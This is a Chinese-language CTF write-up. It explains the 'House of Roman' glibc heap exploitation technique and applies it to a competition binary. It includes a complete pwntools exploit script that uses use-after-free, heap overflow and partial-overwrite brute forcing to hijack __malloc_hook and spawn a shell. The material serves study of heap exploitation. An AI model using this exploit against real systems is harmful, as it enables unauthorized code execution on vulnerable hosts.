PWN October 01, 2019

House of romain

Words count 14k Reading time 12 mins. Read count 0

一、原理

House of romain简称为爆破法,是一种简单粗暴的方式,结合了fastbin attack(UAF)+unsortedbin attack(获取真实地址),特征就只有一个:

UAF漏洞+堆溢出(能修改size就行),没有puts函数

攻击流程:

申请fastbin大小的chunk1,先free掉fastbin中的chunk1,然后由前一个chunk0堆溢出改chunk1大小,使其落入unsorted bin,再free掉unsortedbin中同一chunk1(UAF实现double free),fastbin中的chunk1的FD就有了真实地址,利用UAF改FD为malloc_hook-0x23位置的fake_chunk,申请2次,得到fake_chunk。接着再edit下chunk1的BK指针为malloc_hook-0x10,利用unsorted bin的攻击,使得malloc_hook写入了main_arena+88的地址,然后再edit下fake_chunk即可改写malloc_hook为onegadget,接着再次malloc一个chunk即可实现getshell。

下面拿一道数字经济的题看看:

56993826982

保护全开,习惯了,接着分析函数:

56993834702

第一个漏洞点,UAF

56993836798

第二个漏洞点,堆溢出(任意溢出)

但是没有puts函数可以打印地址,其实本可以用IO_File去泄露出地址然后改malloc_hook直接打,这里为了演示house of romain,就不用这种方法了。

这题符合条件:UAF+堆溢出+没有puts函数

所以上house of romain,前面已经讲清楚了攻击流程,这里直接上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#coding:utf-8
from pwn import *
# context.log_level = 'debug'
local = 1
if local:
p = process('./fkroman')
# elf = ELF('./')
# libc = elf.libc
else:
p = remote("121.40.246.48","9999")
# elf = ELF('./')
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x4060)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def malloc(id,size):
ru("choice: ")
sl('1')
ru("Index: ")
sl(str(id))
ru("Size: ")
sl(str(size))
def free(id):
ru("choice: ")
sl('3')
ru("Index: ")
sl(str(id))
def edit(id,size,data):
ru("choice: ")
sl('4')
ru("Index: ")
sl(str(id))
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(data)

def pwn():
malloc(0,0x10)
malloc(1,0x68)
malloc(2,0x68)
malloc(3,0x68)
free(1)
py = ''
py += '\x00'*0x10
py += p64(0) + p64(0x91)
edit(0,len(py),py)
py = ''
py += (p64(0) + p64(0x21))*5
edit(2,len(py),py)
free(1)
py = ''
py += '\x00'*0x10
py += p64(0) + p64(0x71)
edit(0,len(py),py)
edit(1,0x2,'\xed\xfa')
# debug(0)
malloc(1,0x68)
malloc(4,0x68)
py = ''
py += '\x00'*0x10
py += p64(0) + p64(0x91)
py += p64(0) + '\x00\xfb'
edit(0,len(py),py)
malloc(5,0x80)
py = ''
py += 'a'*0x13 + '\x6a\x02\x65'
edit(4,len(py),py)
malloc(6,0x68)
i = 0
while 1:
try:
i += 1
print i
pwn()
except Exception:
p.close()
if local:
p = process("./fkroman")
else:
p = remote("121.40.246.48","9999")
continue
p.interactive()
0%